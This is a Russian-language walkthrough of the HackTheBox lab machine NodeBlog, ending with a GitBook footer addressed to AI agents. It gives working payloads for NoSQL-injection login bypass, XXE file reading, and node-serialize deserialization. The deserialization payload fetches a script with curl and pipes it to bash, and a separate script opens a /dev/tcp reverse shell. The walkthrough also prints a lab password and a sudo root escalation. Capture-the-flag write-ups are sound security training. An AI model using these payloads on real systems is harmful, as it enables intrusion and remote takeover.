> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md).

# Разбор NodeBlog на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/NodeBlog>" %}

{% hint style="warning" %}
**Навыки:**

* NoSQL-инъекция (обход аутентификации)
* Чтение файла через XXE
* Атака десериализации NodeJS (злоупотребление IIFE)
* Перечисление базы данных Mongo
  {% endhint %}

## Разведка

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/63eef083572e8149f5a2426adaafbeba2773368e" alt=""><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139
```

<figure><img src="/files/da308c266d41cf39654e9fa7075e0ad87eff691c" alt=""><figcaption></figcaption></figure>

Сканирование версий портов с помощью Nmap 22.5000

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,5000 10.10.11.139 -oN targeted
```

<figure><img src="/files/4e1521e748ecd668927beb023a8449cb2e062b55" alt=""><figcaption></figcaption></figure>

### Анализ порта 5000 — приложение NodeJS

<figure><img src="/files/274758ee25f42fe525e6e3c95d95f3ab0cb0d46e" alt=""><figcaption></figcaption></figure>

* Обнаружена административная панель.
* У `admin` Пользователь действителен.

<figure><img src="/files/6b8bb506b2897f2c82d07ac742dbdafa1e618a0b" alt=""><figcaption></figcaption></figure>

## Уязвимость NoSQL-инъекции (обход аутентификации)

Перехват запроса с помощью Burp Suite.

<figure><img src="/files/fbbd6d614064a33e7cee4757580a8a1e57612b83" alt=""><figcaption></figcaption></figure>

Проверьте классические инъекционные полезные нагрузки:

```bash
username=admin&password[$ne]=toto
```

Это не работает.

Преобразуйте в JSON и измените `Content-Type` на `application/json`:

```sql
{
  "user": "admin",
  "password": { "$ne": null }
}
```

Результат: аутентификация успешна!

<figure><img src="/files/dad296c085988792179b2a94f3ad5ca9b8523a5f" alt=""><figcaption></figcaption></figure>

## Эксплуатация уязвимости XXE-инъекции

<figure><img src="/files/0a62864cfa0a5a55ede7293bf342565ae26a96a2" alt=""><figcaption></figcaption></figure>

Загрузка TXT-файла: отклонена, принимаются только XML-файлы.

```
Привет, это тест
```

<figure><img src="/files/1a07fc694d4e69dac6f4cda6bf4a638ee45eb669" alt=""><figcaption></figcaption></figure>

Требуемый формат :

```xml
<post>
    <title>Пример публикации</title>
    <description>Пример описания</description>
    <markdown>Пример Markdown</markdown>
</post>
```

<figure><img src="/files/24064187babb2e21d1dc42b9298305caa90cd468" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2f7327be7740e4ac3c539b63203e651305751212" alt=""><figcaption></figcaption></figure>

Отправка XML-файла, содержащего внешнюю сущность для чтения `/etc/passwd`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<post>
    <title>Пример публикации</title>
    <description>Пример описания</description>
    <markdown>&xxe;</markdown>
</post>
```

Результат: содержимое `/etc/passwd` отображается.

<figure><img src="/files/341241ea249ec2aeb6740926eba8bc8cf0c14d39" alt=""><figcaption></figcaption></figure>

* Обнаружение пользователя `admin`.

<figure><img src="/files/d75bb6319c81efd60010b043fc07d1c0b5dda230" alt=""><figcaption></figcaption></figure>

Инъекция для чтения `/opt/blog/server.js` и выявить сохранённые учетные данные.

<figure><img src="/files/92c497bba06055ba2a27df2de5f5b29222b86199" alt=""><figcaption></figcaption></figure>

```bash
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///opt/blog/server.js" >]>
<post>
    <title>Пример публикации</title>
    <description>Пример описания</description>
    <markdown>&xxe;</markdown>
</post>
```

<figure><img src="/files/14e9a7ab2e56b30bcc73f6d412cf41377bf30ac0" alt=""><figcaption></figcaption></figure>

## Использование десериализации NodeJS

* Обнаружена функция, которая десериализует cookie сеанса.

<div data-full-width="true"><figure><img src="/files/12986cc8ae64a4bcf2d69501e902ca88c59bd55e" alt=""><figcaption></figcaption></figure></div>

Создание полезной нагрузки:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

Прослушивание ICMP-трафика с помощью:

```bash
tcpdump -i tun0 icmp -n
```

* URL-кодирование:

<figure><img src="/files/a576cc1b0907024cca6a32d703cdc539faed7635" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Создание RCE через URL-кодирование и внедрение в cookie.

<figure><img src="/files/966caa2ca8f7f33218199d55ee497e0750325e54" alt=""><figcaption></figcaption></figure>

```bash
tcpdump -i tun0 icmp -n
```

<figure><img src="/files/185b08fd150bc52493bacd59b729922a6dfec9a0" alt=""><figcaption></figcaption></figure>

### RCE — уязвимость десериализации (Node.js)

Создание `index.html` скрипта обратной оболочки:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.61/443 0>&1
```

Запуск HTTP-сервера:

```bash
python3 -m http.server 80
```

Прослушивание:

```bash
nc -nlvp 443
```

#### Отправка полезной нагрузки:

{% code overflow="wrap" %}

```javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"}
```

{% endcode %}

* URL-кодирование:

{% code overflow="wrap" %}

```
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d
```

{% endcode %}

Результат: доступ к shell получен.

<figure><img src="/files/2ba478fdec9da6e262c581620167619b32cb85be" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/171a9527d5e471a27dbc822a69df7e0b186e52e3" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

### Перечисление базы данных Mongo

<figure><img src="/files/cd10ac0a68f87b015144c436e25d274b9ede2c39" alt=""><figcaption></figcaption></figure>

Подключение к базе данных MongoDB (порт 27017 открыт):

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/cea87286383a5f2719840fe31501da83db15e14a" alt="" width="563"><figcaption></figcaption></figure>

* user: admin
* пароль : IppsecSaysPleaseSubscribe

<figure><img src="/files/92b6fa42eac3cfd76c4c12fedecd09cb0767b649" alt=""><figcaption></figcaption></figure>

### Sudo (ALL:ALL)

Проверка привилегий sudo:

```bash
sudo -l
```

Результат: пользователь admin может запускать `sudo su` без пароля.

<figure><img src="/files/c86cfd94fee48d300b0c0333772f3410b12a3918" alt=""><figcaption></figcaption></figure>

Переход в root :

```bash
sudo su
```

<figure><img src="/files/d59acfd1ad6d60b3e67a4be5e190c840cc953a58" alt="" width="563"><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/94f623e3c515b58a5211fbc6fd4dd1dffd9106f0" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/4e3dffd241fa41b1e5cc0dc03200e8c72d3192f3" alt="" width="338"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
